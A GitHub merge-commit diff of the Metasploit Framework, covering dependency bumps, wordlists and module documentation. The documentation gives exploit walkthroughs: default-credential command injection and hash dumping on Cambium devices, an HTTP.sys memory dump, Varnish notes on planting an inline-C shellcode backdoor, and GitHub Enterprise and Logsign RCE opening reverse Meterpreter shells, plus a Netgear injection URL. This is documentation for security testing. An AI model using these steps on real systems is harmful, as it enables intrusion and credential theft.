Merge pull request #2 from rapid7/master

Merging
bug/bundler_fix
Indranil Roy 2017-04-03 23:53:55 +05:30 committed by GitHub
commit 9c1ae39c4f
135 changed files with 12929 additions and 708 deletions

View File

@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (4.14.3)
metasploit-framework (4.14.8)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@ -16,7 +16,7 @@ PATH
metasploit-model
metasploit-payloads (= 1.2.19)
metasploit_data_models
metasploit_payloads-mettle (= 0.1.7)
metasploit_payloads-mettle (= 0.1.8)
msgpack
nessus_rest
net-ssh
@ -53,6 +53,7 @@ PATH
rex-text
rex-zip
robots
ruby_smb
rubyntlm
rubyzip
sqlite3
@ -89,7 +90,7 @@ GEM
minitest (~> 5.1)
thread_safe (~> 0.3, >= 0.3.4)
tzinfo (~> 1.1)
addressable (2.5.0)
addressable (2.5.1)
public_suffix (~> 2.0, >= 2.0.2)
arel (6.0.4)
arel-helpers (2.3.0)
@ -102,6 +103,7 @@ GEM
rspec-expectations (>= 2.99)
thor (~> 0.19)
bcrypt (3.1.11)
bindata (2.3.5)
bit-struct (0.15.0)
builder (3.2.3)
capybara (2.13.0)
@ -144,7 +146,7 @@ GEM
multipart-post (>= 1.2, < 3)
ffi (1.9.18)
filesize (0.1.1)
fivemat (1.3.2)
fivemat (1.3.3)
gherkin (4.1.1)
google-protobuf (3.2.0.2)
googleauth (0.5.1)
@ -155,7 +157,7 @@ GEM
multi_json (~> 1.11)
os (~> 0.9)
signet (~> 0.7)
grpc (1.1.2)
grpc (1.2.0)
google-protobuf (~> 3.1)
googleauth (~> 0.5.1)
i18n (0.8.1)
@ -201,7 +203,7 @@ GEM
postgres_ext
railties (~> 4.2.6)
recog (~> 2.0)
metasploit_payloads-mettle (0.1.7)
metasploit_payloads-mettle (0.1.8)
method_source (0.8.2)
mime-types (3.1)
mime-types-data (~> 3.2015)
@ -215,8 +217,8 @@ GEM
nessus_rest (0.1.6)
net-ssh (4.1.0)
network_interface (0.0.1)
nexpose (5.3.1)
nokogiri (1.7.0.1)
nexpose (5.3.2)
nokogiri (1.7.1)
mini_portile2 (~> 2.1.0)
octokit (4.6.2)
sawyer (~> 0.8.0, >= 0.5.3)
@ -267,7 +269,7 @@ GEM
rex-core
rex-struct2
rex-text
rex-core (0.1.7)
rex-core (0.1.8)
rex-encoder (0.1.2)
metasm
rex-arch
@ -301,7 +303,7 @@ GEM
rex-socket
rex-text
rex-struct2 (0.1.0)
rex-text (0.2.12)
rex-text (0.2.13)
rex-zip (0.1.1)
rex-text
rkelly-remix (0.0.7)
@ -323,6 +325,11 @@ GEM
rspec-mocks (~> 3.5.0)
rspec-support (~> 3.5.0)
rspec-support (3.5.0)
ruby_smb (0.0.8)
bindata
bit-struct
rubyntlm (~> 0.5)
windows_error
rubyntlm (0.6.1)
rubyzip (1.2.1)
sawyer (0.8.1)
@ -335,7 +342,7 @@ GEM
faraday (~> 0.9)
jwt (~> 1.5)
multi_json (~> 1.10)
simplecov (0.14.0)
simplecov (0.14.1)
docile (~> 1.1.0)
json (>= 1.8, < 3)
simplecov-html (~> 0.10.0)
@ -346,9 +353,9 @@ GEM
thor (0.19.4)
thread_safe (0.3.6)
timecop (0.8.1)
tzinfo (1.2.2)
tzinfo (1.2.3)
thread_safe (~> 0.1)
tzinfo-data (1.2017.1)
tzinfo-data (1.2017.2)
tzinfo (>= 1.0.0)
windows_error (0.1.1)
xpath (2.0.0)

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,305 @@
LAWYER
GLASS
HUNT
UNDERSTANDING
RELATION
HORROR
CASH
TWO
WHEEL
COMPLAINT
RISK
BANANA
ANGEL
KANGAROO
BACON
TISSUE
TURTLENECK
DAUGHTER
SUGGESTION
WEAR
QUESTION
SOUTH
LENGTH
BONUS
STOCK
FEELING
BAND
HUSBAND
ADVERTISING
AUTHOR
GUEST
PROOF
FRUIT
GUARD
TOUCH
WILL
TOE
STRENGTH
DRESS
PLEASURE
ESTIMATE
OPPORTUNITY
NOTE
DIG
DISH
GROUP
STRUCTURE
MIND
EDITOR
ADVANTAGE
YOUNG
GAP
SERVE
VOICE
WAKE
DROP
CURRENCY
COMFORT
SPECIALIST
SCRATCH
MISSION
CARPET
INTERVIEW
SHOPPING
CONSIST
SINGLE
IMAGINATION
SPARE
COVER
EXAMINATION
ROUTINE
COLLAR
WALL
SWIM
ATTACK
SPIRITUAL
JURY
ROLE
DREAM
BREAK
LEG
TEACHER
SHOE
PANIC
DEPARTURE
VALUE
BONE
WAIT
AMOUNT
TOUR
STAND
TRUFFLE
ASSOCIATE
WEIRD
RING
BUILDING
ABROAD
ALTERNATIVE
DIFFICULTY
NASTY
SIGN
CLERK
PRESENT
STRETCH
CHILD
NOVEL
SHOWER
AD
ATTENTION
NEWS
GARAGE
BORDER
BASIS
PROCESS
TONIGHT
TRUTH
PERIOD
CATEGORY
APPOINTMENT
SPACE
MILK
DRUNK
MISTAKE
SYMPATHY
EFFORT
BUTTON
RED
CLASS
WAY
TOOTH
PHYSICS
BITTER
SITUATION
LAND
PEAK
BRUSH
SAIL
SOUP
VAST
RISE
INEVITABLE
CHAIN
PREPARATION
TOTAL
SPIRIT
ROAD
SINGER
FORCE
IMPLEMENT
MAIL
EVENING
TEMPERATURE
DEALER
ARRIVAL
TARGET
SHELTER
WASH
FOCUS
ASSUMPTION
INTENTION
ACCIDENT
HORSE
MONTH
MAN
PACKAGE
DEPRESSION
COOKIE
RESPOND
LEATHER
CATCH
CULTURE
TEACH
PRACTICE
SOFTWARE
COMFORTABLE
TEA
FINDING
ANSWER
WRITING
SEAT
DIFFERENCE
SICK
CRAZY
FLOW
ACCOUNT
MEMBER
COUNTY
INFORMATION
PART
CHECK
GOLF
RAIN
STUFF
CLUE
MASTER
REWARD
WHILE
OPTION
LUCK
DISCOUNT
POTENTIAL
FIGURE
DISPLAY
DESIGN
VALUABLE
COMMUNICATION
INSURANCE
PREFERENCE
SUBJECT
CLUB
OIL
BUNCH
GROWTH
IMPORTANCE
REGION
LOSS
BOYFRIEND
CONTEST
PLANE
DEBATE
ICE
NURSE
HOLD
GO
APPLICATION
SALT
PROTECTION
HEART
WEATHER
OVEN
JUDGMENT
IMPACT
MISS
CLIMATE
SEARCH
SON
ACT
STAGE
OFFER
POSSIBILITY
TRY
STUDIO
INCOME
SOURCE
BAG
PLACE
NOISE
NEGOTIATION
BUS
HALL
ASSISTANCE
MEDICINE
NOBODY
CHARITY
EMPLOY
WORLD
AFTERNOON
PHASE
RESEARCH
SALE
WINNER
CONTRACT
PULL
MAP
DESIGNER
MEMORY
BALANCE
MEDIUM
COFFEE
MALL
PHONE
KING
SCALE
THROAT
SUSPECT
QUANTITY
YARD
EXCHANGE
CHAMPIONSHIP
PONY
STREET
TIME
HOPE
YOU
NIGHT
QUARTER
REPLY
DRAG
MINUTE
SUPPORT
SUIT
SIR
BACKGROUND
MANNER
MANAGER
MATCH
GENERAL
TILL
EXPERT
TRANSPORTATION
DEFINITION
PLASTIC
CAKE
BUDDY
MINE

View File

@ -1818,3 +1818,4 @@ admin 54321
admin 7ujMko0admin
admin meinsm
mother fucker
cmc password

View File

@ -23,6 +23,10 @@ Remember that these phone numbers must be the same carrier.
The carrier that the targeted numbers use. See **Supported Carrier Gateways** to learn more about
supported carriers.
**SMSSUBJECT**
The text subject.
**SMSMESSAGE**
The text message you want to send. For example, this will send a text with a link to google:

View File

@ -0,0 +1,52 @@
The `shodan_honeyscore` module utilizes the [Shodan](https://www.shodan.io/) API to determine whether or not a server is a honeypot or not.
When setting the module options, we aren't directly requesting `TARGET`, we are requesting the shodan API to analyze `TARGET` and return a honeyscore from 0.0 to 1.0. 0.0 being `not a honeypot` and 1.0 being a `honeypot`. The original website for the honeypot system can be found here: https://honeyscore.shodan.io/.
#### NOTE:
In order for this module to function properly, a Shodan API key is needed. You can register for a free acount here: https://account.shodan.io/register
## Verification Steps
1. Start `msfconsole`
2. Do: `use auxiliary/gather/shodan_honeyscore`
3. Do: `set TARGET <targetip>`
4. Do: `set SHODAN_APIKEY <your apikey>`
5. Do: `run`
6. If the API is up, you should recieve a score from 0.0 to 1.0.
## Options
**TARGET**
The remote host to request the API to scan.
**SHODAN_APIKEY**
This is the API key you recieve when signing up for a Shodan account. It should be a 32 character string of random letters and numbers.
## Scenarios
Running the module against a real system (in this case, the Google DNS server):
```
msf > use auxiliary/gather/shodan_honeyscore
msf auxiliary(shodan_honeyscore) > options
Module options (auxiliary/gather/shodan_honeyscore):
Name Current Setting Required Description
---- --------------- -------- -----------
SHODAN_APIKEY yes The SHODAN API key
TARGET yes The target to get the score of
msf auxiliary(shodan_honeyscore) > set TARGET 8.8.8.8
TARGET => 8.8.8.8
msf auxiliary(shodan_honeyscore) > set SHODAN_APIKEY [redacted]
SHODAN_APIKEY => [redacted]
msf auxiliary(shodan_honeyscore) > run
[*] Scanning 8.8.8.8
[-] 8.8.8.8 is not a honeypot
[*] 8.8.8.8 honeyscore: 0.0/1.0
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,27 @@
This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 (<v2.5) device management portal. It requires any one of the following login credentials - admin/admin, installer/installer, home/home - to execute arbitrary system commands.
## Verification Steps
1. Do: ```use auxiliary/scanner/http/epmp1000_cmd_exec```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set RPORT [PORT]```
4. Do: ```run```
## Sample Output
```
msf > use auxiliary/scanner/http/epmp1000_cmd_exec
msf auxiliary(epmp1000_cmd_exec) > set rhosts 1.3.3.7
msf auxiliary(epmp1000_cmd_exec) > set rport 80
msf auxiliary(epmp1000_cmd_exec) > run
[+] 1.3.3.7:80 - Running Cambium ePMP 1000 version 2.2...
[*] 1.3.3.7:80 - Attempting to login...
[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "installer":"installer"
[*] 1.3.3.7:80 - Executing id; pwd
uid=0(root) gid=0(root)
/www/cgi-bin
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,30 @@
This module dumps Cambium ePMP 1000 device configuration file. An ePMP 1000 box has four (4) login accounts - admin/admin, installer/installer, home/home, and readonly/readonly. This module requires any one of the following login credentials - admin / installer / home - to dump device configuration file.
## Verification Steps
1. Do: ```use auxiliary/scanner/http/epmp1000_dump_config```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set RPORT [PORT]```
4. Do: ```run```
## Sample Output
```
msf > use auxiliary/scanner/http/epmp1000_dump_config
msf auxiliary(epmp1000_dump_config) > set rhosts 1.3.3.7
msf auxiliary(epmp1000_dump_config) > set rport 80
msf auxiliary(epmp1000_dump_config) > run
[+] 1.3.3.7:80 - Running Cambium ePMP 1000 version 3.2...
[*] 1.3.3.7:80 - Attempting to login...
[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "installer":"installer"
[+] ++++++++++++++++++++++++++++++++++++++
[+] 1.3.3.7 - dumping configuration
[+] ++++++++++++++++++++++++++++++++++++++
[+] 1.3.3.7:80 - File retrieved successfully!
[*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000003_moduletest_1.3.3.7_ePMP_config_216595.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,32 @@
This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 (<v2.5) device management portal. It requires any one of the following login credentials - admin/admin, installer/installer, home/home - to dump system hashes.
## Verification Steps
1. Do: ```use auxiliary/scanner/http/epmp1000_dump_hashes```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set RPORT [PORT]```
4. Do: ```run```
## Sample Output
```
msf > use auxiliary/scanner/http/epmp1000_dump_hashes
msf auxiliary(epmp1000_dump_hashes) > set rhosts 1.3.3.7
msf auxiliary(epmp1000_dump_hashes) > set rport 80
msf auxiliary(epmp1000_dump_hashes) > run
[+] 1.3.3.7:80 - Running Cambium ePMP 1000 version 2.2...
[*] 1.3.3.7:80 - Attempting to login...
[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "installer":"installer"
[*] ++++++++++++++++++++++++++++++++++++++
[*] 1.3.3.7:80 - [1/1] - dumping password hashes
root:$1$<hash>:0:0:root:/root:/bin/ash
...
...
[*] ++++++++++++++++++++++++++++++++++++++
[+] 1.3.3.7:80 - File retrieved successfully!
[*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000003_moduletest_1.3.3.7_ePMP_passwd_282393.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,24 @@
This module scans for Cambium ePMP 1000 management login portal(s), and attempts to identify valid credentials. Default login credentials are - admin/admin, installer/installer, home/home and readonly/readonly.
## Verification Steps
1. Do: ```use auxiliary/scanner/http/epmp1000_web_login```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set RPORT [PORT]```
4. Do: ```run```
## Sample Output
```
msf > use auxiliary/scanner/http/epmp1000_web_login
msf auxiliary(epmp1000_web_login) > set rhosts 1.2.3.4
msf auxiliary(epmp1000_web_login) > set username installer
msf auxiliary(epmp1000_web_login) > set password installer
msf auxiliary(epmp1000_web_login) > run
[+] 1.2.3.4:80 - Running Cambium ePMP 1000 version 3.0...
[*] 1.2.3.4:80 - Trying username:"installer" with password:"installer"
[+] SUCCESSFUL LOGIN - 1.2.3.4:80 - "installer":"installer"
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,61 @@
## Description
This module dumps memory contents using a crafted Range header and affects only Windows 8.1, Server 2012, and Server 2012R2.
**Note:** If the target is running in VMware Workstation, this module has a high likelihood of resulting in BSOD; however, VMware ESX and non-virtualized hosts seem stable. Using a larger target file should result in more memory being dumped, and SSL seems to produce more data as well.
## Verification Steps
1. Do: ```use auxiliary/scanner/http/ms15_034_http_sys_memory_dump```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set RPORT [PORT]```
4. Do: ```run```
## Sample Output
```
msf > use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
msf auxiliary(ms15_034_http_sys_memory_dump) > set RHOSTS 10.1.1.125
RHOSTS => 10.1.1.125
msf auxiliary(ms15_034_http_sys_memory_dump) > set RPORT 80
RPORT => 80
msf auxiliary(ms15_034_http_sys_memory_dump) > exploit
[+] Target is vulnerable!
[+] Content length is 10240 bytes
[+] Stand by...
[+] Memory contents:
[*] 4854 5450 2f31 2e31 2032 3030 204f 4b0d HTTP/1.1 200 OK.
[*] 0a43 6f6e 7465 6e74 2d54 7970 653a 2074 .Content-Type: t
[*] 6578 742f 6874 6d6c 0d0a 4c61 7374 2d4d ext/html..Last-M
[*] 6f64 6966 6965 643a 204d 6f6e 2c20 3232 odified: Mon, 20
[*] 204a 756e 2032 3031 3520 3134 3a32 313a Mar 2017 21:27:
[*] 3535 2047 4d54 0d0a 4163 6365 7074 2d52 55 GMT..Accept-R
[*] 616e 6765 733a 2062 7974 6573 0d0a 4554 anges: bytes..ET
[*] 6167 3a20 2261 3563 6663 3863 6166 3661 ag: "a5cfc8caf6a
[*] 6364 3031 3a30 220d 0a53 6572 7665 723a cd01:0"..Server:
[*] 204d 6963 726f 736f 6674 2d49 4953 2f38 Microsoft-IIS/8
[*] 2e35 0d0a 582d 506f 7765 7265 642d 4279 .5..X-Powered-By
[*] 3a20 4153 502e 4e45 540d 0a00 0000 0000 : ASP.NET.......
[*] 0000 0202 4672 6167 0000 0000 0000 0000 ....Frag........
[*] c028 0000 0000 0000 0000 0000 0000 0000 .(..............
[*] 0200 0a00 4672 6565 0000 0000 0000 0000 ....Free........
[*] d01e f6c5 02f8 ffff 40a2 6502 00e0 ffff ........@.e.....
[*] 0a00 0d02 4d64 6c20 0000 0000 0000 0000 ....Mdl ........
[*] 1000 6702 00e0 ffff 3800 0c00 0000 0000 ..g.....8.......
[*] 0000 0000 0000 0000 ba9a e501 00e0 ffff ................
[*] 0090 e501 00e0 ffff 5c00 0000 ba0a 0000 ........\.......
[*] 59a8 1300 0000 0000 0000 0000 0000 0000 Y...............
[*] 0000 0000 0000 0000 0000 0000 0000 e0dc ................
[*] 0d00 0d02 4d64 6c20 0000 0000 0000 0000 ....Mdl ........
[*] 9079 2602 00e0 ffff 3800 1c00 0000 0000 .y&.....8.......
...
...
...
[*] 6079 0702 00e0 ffff 0000 0000 0000 0000 `y..............
[*] 0e00 1902 5669 4d6d 0000 0000 0000 0000 ....ViMm........
[*] Suppressed 346 uninteresting lines
[*] Memory dump saved to /home/rw/.msf4/loot/20150622073911_default_10.1.1.125_iis.ms15034_145400.bin
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ms15_034_http_sys_memory_dump) >
```

View File

@ -0,0 +1,85 @@
## Vulnerable Application
The Moxa protocol listens on 4800/UDP and will respond to broadcast
or direct traffic. The service is known to be used on Moxa devices
in the NPort, OnCell, and MGate product lines.
A discovery packet compels a Moxa device to respond to the sender
with some basic device information that is needed for more advanced
functions. The discovery data is 8 bytes in length and is the most
basic example of the Moxa protocol. It may be sent out as a
broadcast (destination 255.255.255.255) or to an individual device.
Devices that respond to this query may be vulnerable to serious
information disclosure vulnerabilities, such as CVE-2016-9361.
The module is the work of Patrick DeSantis of Cisco Talos and is
derived from original work by K. Reid Wightman. Tested and validated
on a Moxa NPort 6250 with firmware versions 1.13 and 1.15.
The discovery request contains the bytes:
`\x01\x00\x00\x08\x00\x00\x00\x00`
Where the function code (first byte) 0x01 is Moxa discovery/identify
and the fourth byte is the length of the full data payload.
The first byte of a response will always be the func code + 0x80
(the most significant bit of the byte is set to 1, so 0b00000001
becomes 0b10000001, or 0x81).
A valid response is 24 bytes, starts with 0x81, and contains the values
0x00, 0x90, 0xe8 (the Moxa OIU) in bytes 14, 15, and 16.
## Verification Steps
1. Start msfconsole
2. Do: ```use auxiliary/scanner/scada/moxa_discover```
3. Do: ```set RHOSTS```
4. Do: ```run```
4. Devices running the Moxa service should respond
## Options
**RHOSTS**
Target(s) to scan; can be single target, a range, or broadcast.
## Scenarios
```
msf > hosts
Hosts
=====
msf > use auxiliary/scanner/scada/moxa_discover
msf auxiliary(moxa_discover) > set RHOSTS 192.168.127.254
RHOSTS => 192.168.127.254
msf auxiliary(moxa_discover) > show options
Module options (auxiliary/scanner/scada/moxa_discover):
Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to probe in each set
RHOSTS 192.168.127.254 yes The target address range or CIDR identifier
RPORT 4800 yes The target port (UDP)
THREADS 10 yes The number of concurrent threads
msf auxiliary(moxa_discover) > run
[+] 192.168.127.254:4800 Moxa Device Found!
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(moxa_discover) > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
192.168.127.254 Unknown device Moxa Device
msf auxiliary(moxa_discover) >
```

View File

@ -0,0 +1,134 @@
## Vulnerable Application
Ubuntu 14.04 can `apt-get install varnish`. At the time of writing that installed varnish-3.0.5 revision 1a89b1f.
Kali installed varnish-5.0.0 revision 99d036f
Varnish installed and ran the cli on localhost. First lets kill the service: `sudo service varnish stop`. Now, there are two configurations we want to test:
1. No Authentication: `varnishd -T 0.0.0.0:6082`. Varnish 4 and later require either passing '-S ""', or may not support unauthenticated mode at all.
2. Authentication (based on shared secret file): `varnishd -T 0.0.0.0:6082 -S file`.
1. I made an easy test one `echo "secret" > ~/secret`
## Exploitation Notes
These notes were taken from the original module in EDB, and can be used when developing a working remote exploit
```
- varnishd typically runs as root, forked as unpriv.
- 'param.show' lists configurable options.
- 'cli_timeout' is 60 seconds. param.set cli_timeout 99999 (?) if we want to inject payload into a client thread and avoid being killed.
- 'user' is nobody. param.set user root (may have to stop/start the child to activate)
- 'group' is nogroup. param.set group root (may have to stop/start the child to activate)
- (unless varnishd is launched with -r user,group (read-only) implemented in v4, which may make priv esc fail).
- vcc_unsafe_path is on. used to 'import ../../../../file' etc.
- vcc_allow_inline_c is off. param.set vcc_allow_inline_c on to enable code execution.
- code execution notes:
* quotes must be escaped \"
* \n is a newline
* C{ }C denotes raw C code.
* e.g. C{ unsigned char shellcode[] = \"\xcc\"; }C
* #import <stdio.h> etc must be "newline", i.e. C{ \n#include <stdlib.h>\n dosomething(); }C (without 2x \n, include statement will not interpret correctly).
* C{ asm(\"int3\"); }C can be used for inline assembly / shellcode.
* varnishd has it's own 'vcl' syntax. can't seem to inject C randomly - must fit VCL logic.
* example trigger for backdoor:
VCL server:
vcl.inline foo "vcl 4.0;\nbackend b { . host = \"127.0.0.1\"; } sub vcl_recv { if (req.url ~ \"^/backd00r\") { C{ asm(\"int3\"); }C } } \n"
vcl.use foo
start
Attacker:
telnet target 80
GET /backd00r HTTP/1.1
Host: 127.0.0.1
(... wait for child to execute debug trap INT3 / shellcode).
CLI protocol notes from website:
The CLI protocol used on the management/telnet interface is a strict request/response protocol, there are no unsolicited transmissions from the responding end.
Requests are whitespace separated tokens terminated by a newline (NL) character.
Tokens can be quoted with "..." and common backslash escape forms are accepted: (\n), (\r), (\t), (
), (\"), (\%03o) and (\x%02x)
The response consists of a header which can be read as fixed format or ASCII text:
1-3 %03d Response code
4 ' ' Space
5-12 %8d Length of body
13 \n NL character.
Followed by the number of bytes announced by the header.
The Responsecode is numeric shorthand for the nature of the reaction, with the following values currently defined in include/cli.h:
enum cli_status_e {
CLIS_SYNTAX = 100,
CLIS_UNKNOWN = 101,
CLIS_UNIMPL = 102,
CLIS_TOOFEW = 104,
CLIS_TOOMANY = 105,
CLIS_PARAM = 106,
CLIS_OK = 200,
CLIS_CANT = 300,
CLIS_COMMS = 400,
CLIS_CLOSE = 500
};
```
## Verification Steps
Example steps in this format:
1. Install the application
2. Start msfconsole
3. Do: ```use auxiliary/scanner/varnish/varnish_cli_login```
4. Do: ```run```
5. Find a valid login.
## Options
**PASS_FILE**
File which contains the password list to use.
## Scenarios
Running against Ubuntu 14.04 with varnish-3.0.5 revision 1a89b1f and NO AUTHENTICATION
```
resource (varnish.rc)> use auxiliary/scanner/varnish/varnish_cli_login
resource (varnish.rc)> set pass_file /root/varnish.list
pass_file => /root/varnish.list
resource (varnish.rc)> set rhosts 192.168.2.85
rhosts => 192.168.2.85
resource (varnish.rc)> set verbose true
verbose => true
resource (varnish.rc)> run
[+] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN SUCCESSFUL: No Authentication Required
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(varnish_cli_login) >
```
Running against Ubuntu 14.04 with varnish-3.0.5 revision 1a89b1f
```
resource (varnish.rc)> use auxiliary/scanner/varnish/varnish_cli_login
resource (varnish.rc)> set pass_file /root/varnish.list
pass_file => /root/varnish.list
resource (varnish.rc)> set rhosts 192.168.2.85
rhosts => 192.168.2.85
resource (varnish.rc)> set verbose true
verbose => true
resource (varnish.rc)> run
[*] 192.168.2.85:6082 - 192.168.2.85:6082 - Authentication Required
[!] 192.168.2.85:6082 - No active DB -- Credential data will not be saved!
[*] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN FAILED: bad
[*] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN FAILED: good
[+] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN SUCCESSFUL: secret
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,68 @@
This module exploits two security issues found in Github Enterprise 2. The first problem is
that the session management uses a hard-coded secret value, which can be abused to sign a
serialized malicious object. The second problem is that the serialized string is passed to
a ```Marshal.load``` API call, which deserializes the malicious object, and executes it. A
malicious attacker can take advantage of these problems to achieve remote code execution.
According to exablue.de, this RCE was reported to GitHub, and the researcher was rewarded
$18,000 total.
## Vulnerable Application
The following versions are affected:
* 2.8.0 - 2.8.6.
For testing purposes, you can download a Github Enterprise image from the following location:
[https://enterprise.github.com/releases/](https://enterprise.github.com/releases/)
This module was specifically tested against version 2.8.0, which can be downloaded here:
[https://github-enterprise.s3.amazonaws.com/esx/releases/github-enterprise-2.8.0.ova](https://github-enterprise.s3.amazonaws.com/esx/releases/github-enterprise-2.8.0.ova)
Before you install the image, you must have a valid key. Start from here:
[https://enterprise.github.com/sn-trial](https://enterprise.github.com/sn-trial)
After signing up for a trial, you should receive an e-mail. The email will instruct you to access
your portal account. In there, you can download your github-enterprise.ghl file, which is a key
to complete installing your Github Enterprise system.
## Using github_enterprise_secret
The module consists of two features: the ```check``` command and the ```exploit``` command.
The ```check``` command determines if the host is vulnerable or not by extracting the hash of the
cookie, and then attempts to create the same hash using the default secret key. If the two match,
it means the module can tamper the cookie, and that makes the server vulnerable to deserialization.
```
msf exploit(github_enterprise_secret) > check
[*] Found cookie value: _gh_manage=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTViZTAwNjg4NDViYmYzNWQzMGZl%0AZTRiYWY2YmU4Mzg2MzQ2NjFjODcxYTAyZDZlZjA0YTQ2MWIzNDBiY2VkMGIG%0AOwBGSSIPY3NyZi50b2tlbgY7AFRJIjFZZ0I5ckVkbWhwclpmNWF5RmVia3Zv%0AQzVKMUVoVUxlRWNEbjRYbHplb2R3PQY7AEY%3D%0A--ab0866fc61ea036b1e83cd65b92c2b6cc5b001ed;, checking to see if it can be tampered...
[*] Data: BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTViZTAwNjg4NDViYmYzNWQzMGZlZTRiYWY2YmU4Mzg2MzQ2NjFjODcxYTAyZDZlZjA0YTQ2MWIzNDBiY2VkMGIGOwBGSSIPY3NyZi50b2tlbgY7AFRJIjFZZ0I5ckVkbWhwclpmNWF5RmVia3ZvQzVKMUVoVUxlRWNEbjRYbHplb2R3PQY7AEY=
[*] Extracted HMAC: ab0866fc61ea036b1e83cd65b92c2b6cc5b001ed
[*] Expected HMAC: ab0866fc61ea036b1e83cd65b92c2b6cc5b001ed
[*] The HMACs match, which means you can sign and tamper the cookie.
[+] 192.168.146.201:8443 The target is vulnerable.
msf exploit(github_enterprise_secret) >
```
If vulnerable, the ```exploit``` command will attempt to gain access of the system:
```
msf exploit(github_enterprise_secret) > exploit
[*] Started reverse TCP handler on 192.168.146.1:4444
[*] Serialized Ruby stager
[*] Sending serialized Ruby stager...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 192.168.146.201
[*] Meterpreter session 2 opened (192.168.146.1:4444 -> 192.168.146.201:52454) at 2017-03-23 10:11:17 -0500
[+] Deleted /tmp/htBDuK.bin
[+] Deleted /tmp/kXgpK.bin
[*] Connection timed out
meterpreter >
```

View File

@ -0,0 +1,79 @@
## Vulnerable Application
Download the vulnerable version of OVA or ISO file from following URL. I strongly suggest you to choose OVA.
[http://s3-eu-west-1.amazonaws.com/innotim/Logsign.ova](http://s3-eu-west-1.amazonaws.com/innotim/Logsign.ova)
[http://s3-eu-west-1.amazonaws.com/innotim/forest-4.4.1-12.04.iso](http://s3-eu-west-1.amazonaws.com/innotim/forest-4.4.1-12.04.iso)
### Creating A Testing Environment
1. Open OVA file with your preferred virtualisation application.
2. Before starting the virtual machine, choose NAT mode for interface.
3. Once the machine started, you must be seeing following information on screen.
```
Ubuntu 12.04.05 LTS - logsign customer tty1
IP: 12.0.0.10
...
Version: Focus
4.4.2
```
4. Access the management interface by visiting `https://<ip_address>` through your browser.
5. Complete the installation by just submitting the fake data.
**Please follow below instructions if you are seeing different IP address on the screen that doesn't belong to your NAT network range.**
Right after step 3, I've started to see totally different IP address on the screen which was something like 10.0.0.X. Since there is no such a network range in my configuration, it's impossible access to the machine through network. Here is the steps that shows how you can fix this issue. Follow these instructions and then go back to the step 5.
1. Reboot the machine
2. Start pressing ```shift``` button at the very beginning and keep pressing until you see GRUB menu.
3. Choose second line and press enter. We are going to about boot machine with recovery mode.
4. You must be seeing terminal right now. Execute following commands.
```
mount -rw -o remount /
```
5. Execute following command specify a new password for root user.
```
passwd root
```
6. As a final step, reboot the machine.
```
reboot
```
7. Login with your root user.
8. Open ```/etc/network/interfaces``` file and perform necessary changes. Here is my own configuration.
```
address 12.0.0.10
netmask 255.255.255.0
<removed line starting with 'network'>
<removed line starting with 'broadcast'>
gateway 12.0.0.2
dns-nameservers 8.8.8.8
```
9. Reboot the machine for a last time.
## Verification Steps
1. Install the software as documented above
2. Start `msfconsole`
3. `use exploit/linux/http/logsign_exec`
4. `set rhost 12.0.0.10
6. `python/meterpreter/reverse_tcp` is configured as a default payload. Change it if you need. Most of the case, you're okay go with default payload type.
7. `set LHOST 12.0.0.1`
8. `check` and validate that you are seeing following output.
```
[+] 12.0.0.10:80 The target is vulnerable.
```
9. Here you go. Type `exploit` and hit the enter.
```
[*] Started reverse TCP handler on 12.0.0.1:4444
[*] Delivering payload...
[*] Sending stage (38651 bytes) to 12.0.0.10
[*] Meterpreter session 2 opened (12.0.0.1:4444 -> 12.0.0.10:46057) at 2017-02-28 14:11:20 +0100
meterpreter > getuid
Server username: root
meterpreter >
```

View File

@ -1,4 +1,4 @@
The netgear_r7000_cgibin_exec module exploits a command injection vulnerability in Netgear R7000 and R6400 router firmware version `1.0.7.2_1.1.93` and possibly earlier. The vulnerability is found in the `/cgi-bin/` folder of the router. A manual injection would look like so: `http://<RouterIP>/cgi-bin/;echo$IFS"cowsay"`. This will echo 'cowsay' on the router.
